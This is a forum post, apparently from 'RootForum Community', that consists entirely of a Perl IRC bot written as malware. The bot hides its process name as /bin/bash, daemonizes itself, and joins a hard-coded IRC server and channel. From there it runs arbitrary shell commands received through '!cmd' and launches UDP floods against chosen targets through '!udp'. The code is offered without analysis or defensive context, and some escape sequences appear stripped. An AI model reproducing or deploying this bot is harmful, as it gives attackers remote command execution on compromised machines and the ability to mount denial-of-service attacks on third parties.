RootForum Community

Code: Select all

#!/usr/bin/perl

my $processo = '/bin/bash';
$0="$processo"."\0"x16;
use FileHandle;
use IPC::Open2;
use IO::Handle;
use Socket;
use HTTP::Request;
use LWP::UserAgent;
use IO::Socket::INET;

my $pid=fork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);


my $evals="http://realhack.altervista.org/iniez.txt";
   my $nntrovato="No such nick/channel";
   my $chan="#drg";
   my $nick = "ToXiC|".int(rand(10)).int(rand(10)).int(rand(10)).int(rand(10)).int(rand(10)).int(rand(10));
   my $user= "ToXiC 8 *  : ToXiC Mutton : cazzo@cazzo.it : lol :fra";
   my $server ="85.14.242.82";
   my $porta ="6667";
   my $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$server",PeerPort=>$porta) ;
$socket->autoflush(1);
print $socket "NICK $nickrn";
print $socket "USER $userrn";
print $socket "JOIN $chanrn";



  while (my $msg = <$socket>)
    {

$msg =~ s/rn$//;

if ($msg=~ /!cmds+(.*)/)
{
shell2($1);
}

if ($msg=~ /!udps+(.*?)s+(.*?)s+(.*)/)
{
if (my $pid = fork) {
     waitpid($pid, 0);
  } else {
      if (fork) {
         exit;
       } else {
print $socket "PRIVMSG $chan : UdP Fload CoDaTo By ToXiC CreWrn";
my ($ip,$port,$size,$time);
 $ip=$1;
 $port=$2; 
 $time=$3;
print $socket "PRIVMSG $chan :Ip: $iprn";
print $socket "PRIVMSG $chan :Porta $portrn";
print $socket "PRIVMSG $chan :Tempo $timern";

socket(crazy, PF_INET, SOCK_DGRAM, 17);
    $iaddr = inet_aton("$ip");

 #printf "udp flood - odixn";

if ($port ==0 && $time ==0) {
 goto randpackets;
}
if ($port !=0 && $time !=0) {
 system("(sleep $time;killall -9 udp) &");
 goto packets;
}
if ($port !=0 && $time ==0) {
 goto packets;
}
if ($port ==0 && $time !=0) {
 system("(sleep $time;killall -9 udp) &"); 
 goto randpackets;
}

packets:
for (;;) {
 $size=$rand x $rand x $rand;
 send(crazy, 0, $size, sockaddr_in($port, $iaddr));
} 

randpackets:
for (;;) {
 $size=$rand x $rand x $rand;
$port=int(rand 65000) +1;
 send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}

}

} 
}




#     print $msg; 
      if ($msg=~ /^PING :(.*)/)
        {
          print $socket "PONG :$1";
        }   
}   
 

sub sendraw {
  if ($#_ == '1') {
    my $socket = $_[0];
    print $socket "$_[1]n";
  } else {
      print $socket "$_[0]n";
  }
}

sub shell2{
  my $comando=$_[0];
 $pid = open2(*leggi, *scrivi, $comando );
      @got = <leggi>;
foreach my $lin (@got) {
             $c++;
             chop $lin;
             sendraw($socket, "PRIVMSG $chan :$lin");
}
}